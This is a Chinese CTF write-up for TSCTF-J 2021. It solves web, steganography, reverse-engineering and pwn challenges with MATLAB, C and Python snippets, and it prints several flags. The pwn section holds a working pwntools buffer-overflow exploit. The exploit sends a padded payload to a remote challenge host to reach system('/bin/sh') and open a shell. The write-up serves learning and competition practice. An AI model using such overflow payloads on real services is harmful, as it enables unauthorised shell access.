TSCTFJ2021部分wp
阿新 • • 發佈:2021-11-30
水題
Web
- King of F12
F12就可以解決的題,沒什麼好講的,跟著提示一步一步走就行:
去CHALLENGE-BUTTONKNIGHT.php,刪除disabled屬性:
按下按鈕得到下一步的提示
測試發現招式的長度=造成傷害。
直接寫入一個足夠長的字串即可得到flag:
Misc
- EasyImage
拿到256x144.bmp,先用stegsolve開啟看看。看一眼灰度圖:
可識別白色點狀構成的文字:f(x,y,z) = (11x+45y+14*z)%256,一個函式,暫時不知道是幹什麼的。
得到位深有關的hint,嘗試修改位深為24位:
發現圖片可以正常識別了:
放大觀察可以發現規律性的散點:
使用PS進行測量,可以得出散點位於每個30x30小方塊的(16,16)處。使用matlab對影象進行放縮變換:
嘗試用最開始得到的函式對其進行變換,成功得到flag:
其中matlab使用的程式碼如下:
clear I = imread('pic.bmp'); for i = 1 : 144 for j = 1 : 256 A(i,j,1) = I(30*i-14,30*j-14,1); A(i,j,2) = I(30*i-14,30*j-14,2); A(i,j,3) = I(30*i-14,30*j-14,3); end end imshow(A) for i = 1 : 144 for j = 1 : 256 B(i,j) = mod(11*double(A(i,j,1))+45*double(A(i,j,2))+ 14*double(A(i,j,3))) %這裡不轉成double會造成溢位 end end imshow(B)
- Gh0stSmile
使用stegsolve檢視find.png的full red影象,結合out資料夾中的圖片得知這是一張拼圖:
拼!
觀察發現最下方的一行內包含了TSCTF等flag的標誌性字母,根據間隔推測這是一個類似柵欄密碼加密後的flag,n=6,還原可得flag:TSCTF-J{Thanks_for_watching_my_face}
Reverse
- easyXor
把exe檔案用IDA開啟,分析可以得知這是一個對輸入進行和i和0xd異或的程式:
找到內建的字串:
直接編寫程式得出flag:
#include<stdio.h> main(){ int i; int s[50] = {0x59,0x5f,0x4c,0x5a,0x4f,0x25,0x41,0x71,0x52, 0x61,0x4b,0x65,0x31,0x4d,0x66,0x5d,0x2f,0x43,0x4b,0x4d,0x5a, 0x4c,0x5d,0x37,0x5f,0x4b,0x4f,0x26,0x63,0x4f,0x7f,0x61,0x72, 0x7f,0x1f,0x71,0x6c,0x49,0x78,0x73,0x4,0x5,0x6,0x5b}; for(i = 0; i < 44; i++) { printf("%c", s[i] ^ i ^ 0xD); } return 0; }
執行結果:
- maze_revenge
從名字上看是迷宮題,發現這個地方看起來很可疑:
進去看:
這應該就是迷宮了,把它整理出來,找到起點和終點:
太大了,用解決迷宮問題的指令碼跑一下,得出最佳路徑:
在程式碼中找到題目要求:
對路徑進行32位md5,轉換成小寫,得到flag:
TSCTF-J{5ddffb589b72f5e9b0478d433f5b49fa}
Pwn
- Sign_In
首先用IDA檢視主函式:
程式碼內包含system("/bin/sh"),只需控制程式流執行該語句。發現v5無法用正常方式通過if校驗,嘗試利用fgets進行緩衝區溢位攻擊。
檢視緩衝區和v5之間的距離,0x20-0x4=0x1c,在fgets限制的64以內:
在Ubuntu環境下,檢查程式是否開啟了保護:
那麼可以寫payload如下:
from pwn import *
#p = process('./pwn1')
p=remote("70.34.205.1",11000)
v5 = 0x00000309
payload = 'a'*0x1c + p64(v5)
p.sendline(payload)
p.interactive()
成功獲取到shell以及flag:
</stdio.h>